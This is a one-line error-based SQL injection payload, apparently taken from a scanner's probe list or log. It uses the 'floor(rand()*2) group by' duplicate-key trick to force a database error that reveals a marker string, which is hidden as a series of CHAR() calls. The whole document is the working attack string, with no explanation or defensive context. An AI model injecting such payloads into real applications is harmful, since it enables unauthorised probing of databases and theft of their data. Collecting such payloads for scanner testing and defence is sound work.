(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(115),CHAR(103),CHAR(75),CHAR(121),CHAR(85),CHAR(111),CHAR(52),CHAR(50)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))